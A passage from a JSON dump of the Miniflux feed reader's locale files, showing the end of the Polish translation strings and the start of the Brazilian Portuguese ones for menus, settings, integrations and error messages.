URL Shaarli\",\n    \"form.integration.shiori_activate\": \"Zapisuj artykuły w Shiori\",\n    \"form.integration.shiori_endpoint\": \"Punkt końcowy API Shiori\",\n    \"form.integration.shiori_password\": \"Hasło do Shiori\",\n    \"form.integration.shiori_username\": \"Login do Shiori\",\n    \"form.integration.slack_activate\": \"Przesyłaj wpisy do Slack\",\n    \"form.integration.slack_webhook_link\": \"Łącze webhooka Slack\",\n    \"form.integration.telegram_bot_activate\": \"Przesyłaj nowe wpisy do czatu Telegram\",\n    \"form.integration.telegram_bot_disable_buttons\": \"Wyłącz przyciski\",\n    \"form.integration.telegram_bot_disable_notification\": \"Wyłącz powiadomienie\",\n    \"form.integration.telegram_bot_disable_web_page_preview\": \"Wyłącz podgląd strony internetowej\",\n    \"form.integration.telegram_bot_token\": \"Token do bota\",\n    \"form.integration.telegram_chat_id\": \"Identyfikator czatu\",\n    \"form.integration.telegram_topic_id\": \"Identyfikator tematu\",\n    \"form.integration.wallabag_activate\": \"Zapisuj wpisy w Wallabag\",\n    \"form.integration.wallabag_client_id\": \"Identyfikator klienta Wallabag\",\n    \"form.integration.wallabag_client_secret\": \"Tajny klucz klienta Wallabag\",\n    \"form.integration.wallabag_endpoint\": \"Podstawowy adres URL Wallabag\",\n    \"form.integration.wallabag_tags\": \"Znaczniki Wallabag\",\n    \"form.integration.wallabag_only_url\": \"Przesyłaj tylko adres URL (zamiast pełnej treści)\",\n    \"form.integration.wallabag_password\": \"Hasło do Wallabag\",\n    \"form.integration.wallabag_username\": \"Login do Wallabag\",\n    \"form.integration.webhook_activate\": \"Włącz webhooki\",\n    \"form.integration.webhook_secret\": \"Tajny klucz do webhooków\",\n    \"form.integration.webhook_url\": \"Domyślny adres URL webhooka\",\n    \"form.prefs.fieldset.application_settings\": \"Ustawienia aplikacji\",\n    \"form.prefs.fieldset.authentication_settings\": \"Ustawienia uwierzytelniania\",\n    \"form.prefs.fieldset.global_feed_settings\": \"Globalne ustawienia kanałów\",\n    \"form.prefs.fieldset.reader_settings\": \"Ustawienia czytnika\",\n    \"form.prefs.help.external_font_hosts\": \"Lista hostów zewnętrznych czcionek, na które należy zezwolić, rozdzielona spacjami. Na przykład: „fonts.gstatic.com fonts.googleapis.com”.\",\n    \"form.prefs.label.always_open_external_links\": \"Czytaj artykuły, otwierając łącza zewnętrzne\",\n    \"form.prefs.label.categories_sorting_order\": \"Sortowanie kategorii\",\n    \"form.prefs.label.cjk_reading_speed\": \"Szybkość czytania w języku chińskim, koreańskim i japońskim (znaki na minutę)\",\n    \"form.prefs.label.custom_css\": \"Niestandardowy CSS\",\n    \"form.prefs.label.custom_js\": \"Niestandardowy JavaScript\",\n    \"form.prefs.label.default_home_page\": \"Domyślna strona główna\",\n    \"form.prefs.label.default_reading_speed\": \"Szybkość czytania w innych językach (słowa na minutę)\",\n    \"form.prefs.label.display_mode\": \"Tryb wyświetlania progresywnej aplikacji sieciowej (PWA)\",\n    \"form.prefs.label.entries_per_page\": \"Wpisy na stronę\",\n    \"form.prefs.label.entry_order\": \"Kolumna sortowania wpisów\",\n    \"form.prefs.label.entry_sorting\": \"Sortowanie wpisów\",\n    \"form.prefs.label.entry_swipe\": \"Włącz przesuwanie wpisów na ekranach dotykowych\",\n    \"form.prefs.label.external_font_hosts\": \"Hosty zewnętrznych czcionek\",\n    \"form.prefs.label.gesture_nav\": \"Gest do poruszania się między wpisami\",\n    \"form.prefs.label.keyboard_shortcuts\": \"Włącz skróty klawiszowe\",\n    \"form.prefs.label.language\": \"Język\",\n    \"form.prefs.label.mark_read_manually\": \"Oznacz wpisy jako przeczytane ręcznie\",\n    \"form.prefs.label.mark_read_on_media_completion\": \"Oznacz jako przeczytane dopiero wtedy, gdy odtwarzanie audio i wideo osiągnie 90%% ukończenia\",\n    \"form.prefs.label.mark_read_on_view\": \"Automatycznie oznacz wpisy jako przeczytane podczas przeglądania\",\n    \"form.prefs.label.mark_read_on_view_or_media_completion\": \"Oznacz wpisy jako przeczytane po wyświetleniu. W przypadku audio i wideo oznacz jako przeczytane po ukończeniu 90%%\",\n    \"form.prefs.label.media_playback_rate\": \"Szybkość odtwarzania audio i wideo\",\n    \"form.prefs.label.open_external_links_in_new_tab\": \"Otwieraj łącza zewnętrzne w nowej karcie (dodaje target=\\\"_blank\\\" do łączy)\",\n    \"form.prefs.label.show_reading_time\": \"Pokaż szacowany czas czytania wpisów\",\n    \"form.prefs.label.theme\": \"Wygląd\",\n    \"form.prefs.label.timezone\": \"Strefa czasowa\",\n    \"form.prefs.select.alphabetical\": \"Alfabetycznie\",\n    \"form.prefs.select.browser\": \"Przeglądarkowy\",\n    \"form.prefs.select.created_time\": \"Czas utworzenia wpisu\",\n    \"form.prefs.select.fullscreen\": \"Pełnoekranowy\",\n    \"form.prefs.select.minimal_ui\": \"Minimalny\",\n    \"form.prefs.select.none\": \"Brak\",\n    \"form.prefs.select.older_first\": \"Najstarsze wpisy jako pierwsze\",\n    \"form.prefs.select.publish_time\": \"Czas publikacji wpisu\",\n    \"form.prefs.select.recent_first\": \"Najnowsze wpisy jako pierwsze\",\n    \"form.prefs.select.standalone\": \"Samodzielny\",\n    \"form.prefs.select.swipe\": \"Przesuwanie\",\n    \"form.prefs.select.tap\": \"Podwójne stuknięcie\",\n    \"form.prefs.select.unread_count\": \"Liczba nieprzeczytanych\",\n    \"form.submit.loading\": \"Ładowanie…\",\n    \"form.submit.saving\": \"Zapisywanie…\",\n    \"form.user.label.admin\": \"Administrator\",\n    \"form.user.label.confirmation\": \"Potwierdzenie hasła\",\n    \"form.user.label.password\": \"Hasło\",\n    \"form.user.label.username\": \"Nazwa użytkownika\",\n    \"menu.about\": \"O czytniku\",\n    \"menu.add_feed\": \"Dodaj kanał\",\n    \"menu.add_user\": \"Dodaj użytkownika\",\n    \"menu.api_keys\": \"Klucze API\",\n    \"menu.categories\": \"Kategorie\",\n    \"menu.create_api_key\": \"Utwórz nowy klucz API\",\n    \"menu.create_category\": \"Utwórz kategorię\",\n    \"menu.edit_category\": \"Edytuj\",\n    \"menu.edit_feed\": \"Edytuj\",\n    \"menu.export\": \"Eksportuj\",\n    \"menu.feed_entries\": \"Wpisy\",\n    \"menu.feeds\": \"Kanały\",\n    \"menu.flush_history\": \"Usuń historię\",\n    \"menu.history\": \"Historia\",\n    \"menu.home_page\": \"Strona główna\",\n    \"menu.import\": \"Importuj\",\n    \"menu.integrations\": \"Usługi\",\n    \"menu.logout\": \"Wyloguj się\",\n    \"menu.mark_all_as_read\": \"Oznacz wszystkie jako przeczytane\",\n    \"menu.mark_page_as_read\": \"Oznacz jako przeczytane\",\n    \"menu.preferences\": \"Preferencje\",\n    \"menu.refresh_all_feeds\": \"Odśwież w tle wszystkie subskrypcje\",\n    \"menu.refresh_feed\": \"Odśwież\",\n    \"menu.search\": \"Szukaj\",\n    \"menu.sessions\": \"Sesje\",\n    \"menu.settings\": \"Ustawienia\",\n    \"menu.shared_entries\": \"Udostępnione wpisy\",\n    \"menu.show_all_entries\": \"Pokaż wszystkie wpisy\",\n    \"menu.show_only_starred_entries\": \"Pokaż tylko ulubione wpisy\",\n    \"menu.show_only_unread_entries\": \"Pokaż tylko nieprzeczytane wpisy\",\n    \"menu.starred\": \"Ulubione\",\n    \"menu.title\": \"Menu\",\n    \"menu.unread\": \"Nieprzeczytane\",\n    \"menu.users\": \"Użytkownicy\",\n    \"page.about.author\": \"Autor:\",\n    \"page.about.build_date\": \"Data opracowania:\",\n    \"page.about.credits\": \"Prawa autorskie\",\n    \"page.about.db_usage\": \"Rozmiar bazy danych:\",\n    \"page.about.git_commit\": \"Zatwierdzenie Git:\",\n    \"page.about.global_config_options\": \"Globalne opcje konfiguracji\",\n    \"page.about.go_version\": \"Wersja Go:\",\n    \"page.about.license\": \"Licencja:\",\n    \"page.about.postgres_version\": \"Wersja PostgreSQL:\",\n    \"page.about.title\": \"O stronie\",\n    \"page.about.version\": \"Wersja:\",\n    \"page.add_feed.choose_feed\": \"Wybierz subskrypcję\",\n    \"page.add_feed.label.url\": \"Adres URL\",\n    \"page.add_feed.legend.advanced_options\": \"Opcje zaawansowane\",\n    \"page.add_feed.no_category\": \"Nie ma żadnej kategorii. Musisz mieć co najmniej jedną kategorię.\",\n    \"page.add_feed.submit\": \"Znajdź subskrypcję\",\n    \"page.add_feed.title\": \"Nowa subskrypcja\",\n    \"page.api_keys.never_used\": \"Nigdy nie używany\",\n    \"page.api_keys.table.actions\": \"Działania\",\n    \"page.api_keys.table.created_at\": \"Data utworzenia\",\n    \"page.api_keys.table.description\": \"Opis\",\n    \"page.api_keys.table.last_used_at\": \"Ostatnio używane\",\n    \"page.api_keys.table.token\": \"Token\",\n    \"page.api_keys.title\": \"Klucze API\",\n    \"page.categories.entries\": \"Wpisy\",\n    \"page.categories.feed_count\": [\n        \"Jest %d kanał.\",\n        \"Są %d kanały.\",\n        \"Jest %d kanałów.\"\n    ],\n    \"page.categories.feeds\": \"Kanały\",\n    \"page.categories.no_feed\": \"Brak kanałów.\",\n    \"page.categories.title\": \"Kategorie\",\n    \"page.categories_count\": [\n        \"%d kategoria\",\n        \"%d kategorie\",\n        \"%d kategorii\"\n    ],\n    \"page.category_label\": \"Kategoria: %s\",\n    \"page.edit_category.title\": \"Edytuj kategorię: %s\",\n    \"page.edit_feed.etag_header\": \"Nagłówek ETag:\",\n    \"page.edit_feed.last_check\": \"Ostatnia aktualizacja:\",\n    \"page.edit_feed.last_modified_header\": \"Ostatnio zmienione:\",\n    \"page.edit_feed.last_parsing_error\": \"Ostatni błąd analizy\",\n    \"page.edit_feed.no_header\": \"Brak\",\n    \"page.edit_feed.title\": \"Edytuj kanał: %s\",\n    \"page.edit_user.title\": \"Edytuj użytkownika: %s\",\n    \"page.entry.attachments\": \"Załączniki\",\n    \"page.feeds.error_count\": [\n        \"%d błąd\",\n        \"%d błędy\",\n        \"%d błędów\"\n    ],\n    \"page.feeds.last_check\": \"Ostatnia aktualizacja:\",\n    \"page.feeds.next_check\": \"Następna aktualizacja:\",\n    \"page.feeds.read_counter\": \"Liczba przeczytanych wpisów\",\n    \"page.feeds.title\": \"Kanały\",\n    \"page.footer.elevator\": \"Wróć do góry\",\n    \"page.history.title\": \"Historia\",\n    \"page.import.title\": \"Importuj\",\n    \"page.integration.bookmarklet\": \"Skryptozakładka\",\n    \"page.integration.bookmarklet.help\": \"To łącze umożliwia subskrypcję strony internetowej bezpośrednio za pomocą zakładki w przeglądarce internetowej.\",\n    \"page.integration.bookmarklet.instructions\": \"Przeciągnij i upuść to łącze do zakładek.\",\n    \"page.integration.bookmarklet.name\": \"Dodaj do Miniflux\",\n    \"page.integration.miniflux_api\": \"API Miniflux\",\n    \"page.integration.miniflux_api_endpoint\": \"Punkt końcowy API\",\n    \"page.integration.miniflux_api_password\": \"Hasło\",\n    \"page.integration.miniflux_api_password_value\": \"Hasło do konta\",\n    \"page.integration.miniflux_api_username\": \"Nazwa użytkownika\",\n    \"page.integrations.title\": \"Usługi\",\n    \"page.keyboard_shortcuts.close_modal\": \"Zamknij listę skrótów klawiszowych\",\n    \"page.keyboard_shortcuts.download_content\": \"Pobierz oryginalną treść\",\n    \"page.keyboard_shortcuts.go_to_bottom_item\": \"Przejdź do dolnego elementu\",\n    \"page.keyboard_shortcuts.go_to_categories\": \"Przejdź do kategorii\",\n    \"page.keyboard_shortcuts.go_to_feed\": \"Przejdź do subskrypcji\",\n    \"page.keyboard_shortcuts.go_to_feeds\": \"Przejdź do kanałów\",\n    \"page.keyboard_shortcuts.go_to_history\": \"Przejdź do historii\",\n    \"page.keyboard_shortcuts.go_to_next_item\": \"Przejdź do następnego elementu\",\n    \"page.keyboard_shortcuts.go_to_next_page\": \"Przejdź do następnej strony\",\n    \"page.keyboard_shortcuts.go_to_previous_item\": \"Przejdź do poprzedniego elementu\",\n    \"page.keyboard_shortcuts.go_to_previous_page\": \"Przejdź do poprzedniej strony\",\n    \"page.keyboard_shortcuts.go_to_search\": \"Ustaw fokus na formularzu wyszukiwania\",\n    \"page.keyboard_shortcuts.go_to_settings\": \"Przejdź do ustawień\",\n    \"page.keyboard_shortcuts.go_to_starred\": \"Przejdź do ulubionych\",\n    \"page.keyboard_shortcuts.go_to_top_item\": \"Przejdź do górnego elementu\",\n    \"page.keyboard_shortcuts.go_to_unread\": \"Przejdź do nieprzeczytanych\",\n    \"page.keyboard_shortcuts.mark_page_as_read\": \"Zaznacz aktualną stronę jako przeczytaną\",\n    \"page.keyboard_shortcuts.open_comments\": \"Otwórz łącze do komentarzy\",\n    \"page.keyboard_shortcuts.open_comments_same_window\": \"Otwórz łącze do komentarzy w bieżącej karcie\",\n    \"page.keyboard_shortcuts.open_item\": \"Otwórz zaznaczony element\",\n    \"page.keyboard_shortcuts.open_original\": \"Otwórz oryginalne łącze\",\n    \"page.keyboard_shortcuts.open_original_same_window\": \"Otwórz oryginalne łącze w bieżącej karcie\",\n    \"page.keyboard_shortcuts.refresh_all_feeds\": \"Odśwież w tle wszystkie kanały\",\n    \"page.keyboard_shortcuts.remove_feed\": \"Usuń ten kanał\",\n    \"page.keyboard_shortcuts.save_article\": \"Zapisz wpis\",\n    \"page.keyboard_shortcuts.scroll_item_to_top\": \"Przewiń element do góry\",\n    \"page.keyboard_shortcuts.show_keyboard_shortcuts\": \"Pokaż listę skrótów klawiszowych\",\n    \"page.keyboard_shortcuts.subtitle.actions\": \"Działania\",\n    \"page.keyboard_shortcuts.subtitle.items\": \"Nawigacja między elementami\",\n    \"page.keyboard_shortcuts.subtitle.pages\": \"Nawigacja między stronami\",\n    \"page.keyboard_shortcuts.subtitle.sections\": \"Nawigacja między punktami menu\",\n    \"page.keyboard_shortcuts.title\": \"Skróty klawiszowe\",\n    \"page.keyboard_shortcuts.toggle_star_status\": \"Przełącz dodanie do ulubionych\",\n    \"page.keyboard_shortcuts.toggle_entry_attachments\": \"Przełącz otwieranie/zamykanie załączników wpisów\",\n    \"page.keyboard_shortcuts.toggle_read_status_next\": \"Przełącz przeczytane/nieprzeczytane, przejdź dalej\",\n    \"page.keyboard_shortcuts.toggle_read_status_prev\": \"Przełącz przeczytane/nieprzeczytane, przejdź wstecz\",\n    \"page.login.google_signin\": \"Zaloguj się przez Google\",\n    \"page.login.oidc_signin\": \"Zaloguj się przez %s\",\n    \"page.login.title\": \"Zaloguj się\",\n    \"page.login.webauthn_login\": \"Zaloguj się przez klucz dostępu\",\n    \"page.login.webauthn_login.error\": \"Nie można zalogować się za pomocą klucza dostępu\",\n    \"page.login.webauthn_login.help\": \"Wpisz swoją nazwę użytkownika, jeśli używasz klucza bezpieczeństwa. Nie jest to wymagane, jeśli używasz klucza dostępu (wykrywalnych danych uwierzytelniających).\",\n    \"page.new_api_key.title\": \"Nowy klucz API\",\n    \"page.new_category.title\": \"Nowa kategoria\",\n    \"page.new_user.title\": \"Nowy użytkownik\",\n    \"page.offline.message\": \"Jesteś odłączony od sieci\",\n    \"page.offline.refresh_page\": \"Spróbuj odświeżyć stronę\",\n    \"page.offline.title\": \"Tryb offline\",\n    \"page.read_entry_count\": [\n        \"%d przeczytany wpis\",\n        \"%d przeczytane wpisy\",\n        \"%d przeczytanych wpisów\"\n    ],\n    \"page.search.title\": \"Wyniki wyszukiwania\",\n    \"page.sessions.table.actions\": \"Działania\",\n    \"page.sessions.table.current_session\": \"Bieżąca sesja\",\n    \"page.sessions.table.date\": \"Data\",\n    \"page.sessions.table.ip\": \"Adres IP\",\n    \"page.sessions.table.user_agent\": \"Agent użytkownika\",\n    \"page.sessions.title\": \"Sesje\",\n    \"page.settings.link_google_account\": \"Połącz z moim kontem Google\",\n    \"page.settings.link_oidc_account\": \"Połącz z moim kontem %s\",\n    \"page.settings.title\": \"Ustawienia\",\n    \"page.settings.unlink_google_account\": \"Odłącz moje konto Google\",\n    \"page.settings.unlink_oidc_account\": \"Odłącz moje konto %s\",\n    \"page.settings.webauthn.actions\": \"Działania\",\n    \"page.settings.webauthn.added_on\": \"Dodano\",\n    \"page.settings.webauthn.delete\": [\n        \"Usuń %d klucz dostępu\",\n        \"Usuń %d klucze dostępu\",\n        \"Usuń %d kluczy dostępu\"\n    ],\n    \"page.settings.webauthn.last_seen_on\": \"Ostatnio użyte\",\n    \"page.settings.webauthn.passkey_name\": \"Nazwa klucza dostępu\",\n    \"page.settings.webauthn.passkeys\": \"Klucze dostępu\",\n    \"page.settings.webauthn.register\": \"Zarejestruj klucz dostępu\",\n    \"page.settings.webauthn.register.error\": \"Nie można zarejestrować klucza dostępu\",\n    \"page.shared_entries.title\": \"Udostępnione wpisy\",\n    \"page.shared_entries_count\": [\n        \"%d udostępniony wpis\",\n        \"%d udostępnione wpisy\",\n        \"%d udostępnionych wpisów\"\n    ],\n    \"page.starred.title\": \"Ulubione\",\n    \"page.starred_entry_count\": [\n        \"%d ulubiony wpis\",\n        \"%d ulubione wpisy\",\n        \"%d ulubionych wpisów\"\n    ],\n    \"page.total_entry_count\": [\n        \"%d wpis łącznie\",\n        \"%d wpisy łącznie\",\n        \"%d wpisów łącznie\"\n    ],\n    \"page.unread.title\": \"Nieprzeczytane\",\n    \"page.unread_entry_count\": [\n        \"%d nieprzeczytany wpis\",\n        \"%d nieprzeczytane wpisy\",\n        \"%d nieprzeczytanych wpisów\"\n    ],\n    \"page.users.actions\": \"Działania\",\n    \"page.users.admin.no\": \"Nie\",\n    \"page.users.admin.yes\": \"Tak\",\n    \"page.users.is_admin\": \"Administrator\",\n    \"page.users.last_login\": \"Ostatnie logowanie\",\n    \"page.users.never_logged\": \"Nigdy\",\n    \"page.users.title\": \"Użytkownicy\",\n    \"page.users.username\": \"Nazwa użytkownika\",\n    \"page.webauthn_rename.title\": \"Zmień nazwę klucza dostępu\",\n    \"pagination.first\": \"Pierwsza\",\n    \"pagination.last\": \"Ostatnia\",\n    \"pagination.next\": \"Następna\",\n    \"pagination.previous\": \"Poprzednia\",\n    \"search.label\": \"Szukaj\",\n    \"search.placeholder\": \"Szukaj…\",\n    \"search.submit\": \"Szukaj\",\n    \"skip_to_content\": \"Przejdź do treści\",\n    \"time_elapsed.days\": [\n        \"%d dzień temu\",\n        \"%d dni temu\",\n        \"%d dni temu\"\n    ],\n    \"time_elapsed.hours\": [\n        \"%d godzinę temu\",\n        \"%d godziny temu\",\n        \"%d godzin temu\"\n    ],\n    \"time_elapsed.minutes\": [\n        \"%d minuta temu\",\n        \"%d minuty temu\",\n        \"%d minut temu\"\n    ],\n    \"time_elapsed.months\": [\n        \"%d miesiąc temu\",\n        \"%d miesiące temu\",\n        \"%d miesięcy temu\"\n    ],\n    \"time_elapsed.not_yet\": \"jeszcze nie\",\n    \"time_elapsed.now\": \"przed chwilą\",\n    \"time_elapsed.weeks\": [\n        \"%d tydzień temu\",\n        \"%d tygodnie temu\",\n        \"%d tygodni temu\"\n    ],\n    \"time_elapsed.years\": [\n        \"%d rok temu\",\n        \"%d lat temu\",\n        \"%d lat temu\"\n    ],\n    \"time_elapsed.yesterday\": \"wczoraj\",\n    \"tooltip.keyboard_shortcuts\": \"Skróty klawiszowe: %s\",\n    \"tooltip.logged_user\": \"Zalogowany jako %s\"\n}\n"
  },
  {
    "path": "internal/locale/translations/pt_BR.json",
    "content": "{\n    \"action.cancel\": \"Cancelar\",\n    \"action.download\": \"Baixar\",\n    \"action.edit\": \"Editar\",\n    \"action.home_screen\": \"Voltar para a tela inicial\",\n    \"action.import\": \"Importar\",\n    \"action.login\": \"Iniciar sessão\",\n    \"action.or\": \"Ou\",\n    \"action.remove\": \"Remover\",\n    \"action.remove_feed\": \"Remover fonte\",\n    \"action.save\": \"Salvar\",\n    \"action.subscribe\": \"Inscrever\",\n    \"action.update\": \"Atualizar\",\n    \"alert.account_linked\": \"Sua conta externa está vinculada!\",\n    \"alert.account_unlinked\": \"Sua conta externa está desvinculada!\",\n    \"alert.background_feed_refresh\": \"Todas as fontes estão sendo atualizadas em segundo plano. Você pode continuar usando o Miniflux enquanto este processo está em execução.\",\n    \"alert.feed_error\": \"Ocorreu um problema com esta fonte.\",\n    \"alert.no_starred\": \"Não há favorito neste momento.\",\n    \"alert.no_category\": \"Não há categoria.\",\n    \"alert.no_category_entry\": \"Não há itens nesta categoria.\",\n    \"alert.no_feed\": \"Não há inscrições.\",\n    \"alert.no_feed_entry\": \"Não há itens nessa fonte.\",\n    \"alert.no_feed_in_category\": \"Não há inscrições nessa categoria.\",\n    \"alert.no_history\": \"Não há histórico nesse momento.\",\n    \"alert.no_search_result\": \"Não há resultados para essa busca.\",\n    \"alert.no_shared_entry\": \"Não há itens compartilhados.\",\n    \"alert.no_tag_entry\": \"Não há itens que correspondam a esta etiqueta.\",\n    \"alert.no_unread_entry\": \"Não há itens não lidos.\",\n    \"alert.no_user\": \"Você é o único usuário.\",\n    \"alert.prefs_saved\": \"Suas preferências foram salvas!\",\n    \"alert.too_many_feeds_refresh\": [\n        \"Você acionou muitas atualizações de fontes. Por favor, aguarde %d minuto antes de tentar novamente.\",\n        \"Você acionou muitas atualizações de fontes. Por favor, aguarde %d minutos antes de tentar novamente.\"\n    ],\n    \"confirm.loading\": \"Carregando...\",\n    \"confirm.no\": \"Não\",\n    \"confirm.question\": \"Tem certeza?\",\n    \"confirm.question.refresh\": \"Você deseja forçar a atualização?\",\n    \"confirm.yes\": \"Sim\",\n    \"enclosure_media_controls.seek\": \"Procurar:\",\n    \"enclosure_media_controls.seek.title\": \"Procurar %s segundos\",\n    \"enclosure_media_controls.speed\": \"Velocidade:\",\n    \"enclosure_media_controls.speed.faster\": \"Mais Rápido\",\n    \"enclosure_media_controls.speed.faster.title\": \"Mais rápido em %sx\",\n    \"enclosure_media_controls.speed.reset\": \"Resetar\",\n    \"enclosure_media_controls.speed.reset.title\": \"Resetar velocidade para 1x\",\n    \"enclosure_media_controls.speed.slower\": \"Mais Lento\",\n    \"enclosure_media_controls.speed.slower.title\": \"Mais lento em %sx\",\n    \"entry.starred.toast.off\": \"Desfavoritado\",\n    \"entry.starred.toast.on\": \"Favoritado\",\n    \"entry.starred.toggle.off\": \"Remover dos Favoritos\",\n    \"entry.starred.toggle.on\": \"Favoritar\",\n    \"entry.comments.label\": \"Comentários\",\n    \"entry.comments.title\": \"Ver comentários\",\n    \"entry.estimated_reading_time\": [\n        \"Leitura de %d minuto\",\n        \"Leitura de %d minutos\"\n    ],\n    \"entry.external_link.label\": \"Link externo\",\n    \"entry.save.completed\": \"Feito!\",\n    \"entry.save.label\": \"Salvar\",\n    \"entry.save.title\": \"Salvar esse item\",\n    \"entry.save.toast.completed\": \"Item guardado\",\n    \"entry.scraper.completed\": \"Feito!\",\n    \"entry.scraper.label\": \"Baixar\",\n    \"entry.scraper.title\": \"Obter conteúdo completo\",\n    \"entry.share.label\": \"Compartilhar\",\n    \"entry.share.title\": \"Compartilhar esse item\",\n    \"entry.shared_entry.label\": \"Compartilhar\",\n    \"entry.shared_entry.title\": \"Abrir link público\",\n    \"entry.state.loading\": \"Carregando...\",\n    \"entry.state.saving\": \"Salvando...\",\n    \"entry.status.mark_as_read\": \"Marcar como lido\",\n    \"entry.status.mark_as_unread\": \"Marcar como não lido\",\n    \"entry.status.title\": \"Modificar estado deste item\",\n    \"entry.status.toast.read\": \"Marcado como lido\",\n    \"entry.status.toast.unread\": \"Marcado como não lido\",\n    \"entry.tags.label\": \"Etiquetas:\",\n    \"entry.tags.more_tags_label\": [\n        \"Mostrar mais %d etiqueta\",\n        \"Mostrar mais %d etiquetas\"\n    ],\n    \"entry.unshare.label\": \"Descompartilhar\",\n    \"error.api_key_already_exists\": \"Essa chave de API já existe.\",\n    \"error.bad_credentials\": \"Usuário ou senha são inválidos.\",\n    \"error.category_already_exists\": \"Esta categoria já existe.\",\n    \"error.category_not_found\": \"Esta categoria não existe ou não pertence a este usuário.\",\n    \"error.database_error\": \"Erro no banco de dados: %v.\",\n    \"error.different_passwords\": \"As senhas não são iguais.\",\n    \"error.duplicate_fever_username\": \"Alguém já está utilizando esse nome de usuário do Fever!\",\n    \"error.duplicate_googlereader_username\": \"Alguém já está utilizando esse nome de usuário do Google Reader!\",\n    \"error.duplicate_linked_account\": \"Alguém já está vinculado a esse serviço!\",\n    \"error.duplicated_feed\": \"Esta fonte já existe.\",\n    \"error.empty_file\": \"Esse arquivo está vazio.\",\n    \"error.entries_per_page_invalid\": \"O número de itens por página é inválido.\",\n    \"error.feed_already_exists\": \"Este feed já existe.\",\n    \"error.feed_category_not_found\": \"Esta categoria não existe ou não pertence a este usuário.\",\n    \"error.feed_format_not_detected\": \"Não foi possível detectar o formato da fonte: %v.\",\n    \"error.feed_invalid_blocklist_rule\": \"A regra da lista de bloqueio é inválida.\",\n    \"error.feed_invalid_keeplist_rule\": \"A regra de manutenção da lista é inválida.\",\n    \"error.feed_mandatory_fields\": \"O campo de URL e categoria são obrigatórios.\",\n    \"error.feed_not_found\": \"Esta fonte não existe ou não pertence a este usuário.\",\n    \"error.feed_title_not_empty\": \"O título do feed não pode estar vazio.\",\n    \"error.feed_url_not_empty\": \"O URL do feed não pode estar vazio.\",\n    \"error.fields_mandatory\": \"Todos os campos são obrigatórios.\",\n    \"error.http_bad_gateway\": \"O site não está disponível no momento devido a um erro de gateway. O problema não está no Miniflux. Por favor, tente novamente mais tarde.\",\n    \"error.http_body_read\": \"Não foi possível ler o corpo HTTP: %v.\",\n    \"error.http_client_error\": \"Erro do cliente HTTP: %v.\",\n    \"error.http_empty_response\": \"A resposta HTTP está vazia. Talvez este site esteja usando um mecanismo de proteção contra bots?\",\n    \"error.http_empty_response_body\": \"O corpo da resposta HTTP está vazio.\",\n    \"error.http_forbidden\": \"O acesso a este site está proibido. Talvez este site tenha um mecanismo de proteção contra bots?\",\n    \"error.http_gateway_timeout\": \"O site não está disponível no momento devido a um erro de tempo limite do gateway. O problema não está no Miniflux. Por favor, tente novamente mais tarde.\",\n    \"error.http_internal_server_error\": \"O site não está disponível no momento devido a um erro interno do servidor. O problema não está no Miniflux. Por favor, tente novamente mais tarde.\",\n    \"error.http_not_authorized\": \"O acesso a este site não está autorizado. Pode ser um nome de usuário ou senha incorretos.\",\n    \"error.http_resource_not_found\": \"O recurso solicitado não foi encontrado. Por favor, verifique a URL.\",\n    \"error.http_response_too_large\": \"A resposta HTTP é muito grande. Você pode aumentar o limite de tamanho da resposta HTTP nas configurações globais (requer reinício do servidor).\",\n    \"error.http_service_unavailable\": \"O site não está disponível no momento devido a um erro interno do servidor. O problema não está no Miniflux. Por favor, tente novamente mais tarde.\",\n    \"error.http_too_many_requests\": \"O Miniflux gerou muitas solicitações para este site. Por favor, tente novamente mais tarde ou altere a configuração do aplicativo.\",\n    \"error.http_unexpected_status_code\": \"O site não está disponível no momento devido a um código de status HTTP inesperado: %d. O problema não está no Miniflux. Por favor, tente novamente mais tarde.\",\n    \"error.invalid_categories_sorting_order\": \"A ordem de classificação das categorias não é válida.\",\n    \"error.invalid_default_home_page\": \"Página inicial por defeito inválida!\",\n    \"error.invalid_display_mode\": \"Modo de exibição de aplicativo inválido da web.\",\n    \"error.invalid_entry_direction\": \"Direção de entrada inválida.\",\n    \"error.invalid_entry_order\": \"A ordem de entrada é inválida.\",\n    \"error.invalid_feed_proxy_url\": \"URL de proxy inválido.\",\n    \"error.invalid_feed_url\": \"URL de feed inválido.\",\n    \"error.invalid_gesture_nav\": \"Navegação por gestos inválida.\",\n    \"error.invalid_language\": \"Idioma inválido.\",\n    \"error.invalid_site_url\": \"URL de site inválido.\",\n    \"error.invalid_theme\": \"Tema inválido.\",\n    \"error.invalid_timezone\": \"Fuso horário inválido.\",\n    \"error.network_operation\": \"O Miniflux não conseguiu acessar este site devido a um erro de rede: %v.\",\n    \"error.network_timeout\": \"Este site está muito lento e a solicitação expirou: %v\",\n    \"error.password_min_length\": \"A senha deve ter no mínimo 6 caracteres.\",\n    \"error.proxy_url_not_empty\": \"A URL do proxy não pode estar vazia.\",\n    \"error.settings_block_rule_fieldname_invalid\": \"Regra de bloqueio inválida: a regra #%d está sem um nome de campo válido (Opções: %s)\",\n    \"error.settings_block_rule_invalid_regex\": \"Regra de bloqueio inválida: o padrão da regra #%d não é uma expressão regular válida\",\n    \"error.settings_block_rule_regex_required\": \"Regra de bloqueio inválida: o padrão da regra #%d não foi fornecido\",\n    \"error.settings_block_rule_separator_required\": \"Regra de bloqueio inválida: o padrão da regra #%d deve ser separado por um '='\",\n    \"error.settings_invalid_domain_list\": \"Lista de domínios inválida. Por favor, forneça uma lista de domínios separados por espaço.\",\n    \"error.settings_keep_rule_fieldname_invalid\": \"Regra de permissão inválida: a regra #%d está sem um nome de campo válido (Opções: %s)\",\n    \"error.settings_keep_rule_invalid_regex\": \"Regra de permissão inválida: o padrão da regra #%d não é uma expressão regular válida\",\n    \"error.settings_keep_rule_regex_required\": \"Regra de permissão inválida: o padrão da regra #%d não foi fornecido\",\n    \"error.settings_keep_rule_separator_required\": \"Regra de permissão inválida: o padrão da regra #%d deve ser separado por um '='\",\n    \"error.settings_mandatory_fields\": \"Os campos de nome de usuário, tema, idioma e fuso horário são obrigatórios.\",\n    \"error.settings_media_playback_rate_range\": \"A velocidade de reprodução está fora do intervalo\",\n    \"error.settings_reading_speed_is_positive\": \"As velocidades de leitura devem ser inteiros positivos.\",\n    \"error.site_url_not_empty\": \"O URL do site não pode estar vazio.\",\n    \"error.subscription_not_found\": \"Não foi possível encontrar uma inscrição.\",\n    \"error.title_required\": \"O título é obrigatório.\",\n    \"error.tls_error\": \"Erro TLS: %q. Você pode desabilitar a verificação TLS nas configurações do feed se desejar.\",\n    \"error.unable_to_create_api_key\": \"Não foi possível criar uma chave de API.\",\n    \"error.unable_to_create_category\": \"Não foi possível criar essa categoria.\",\n    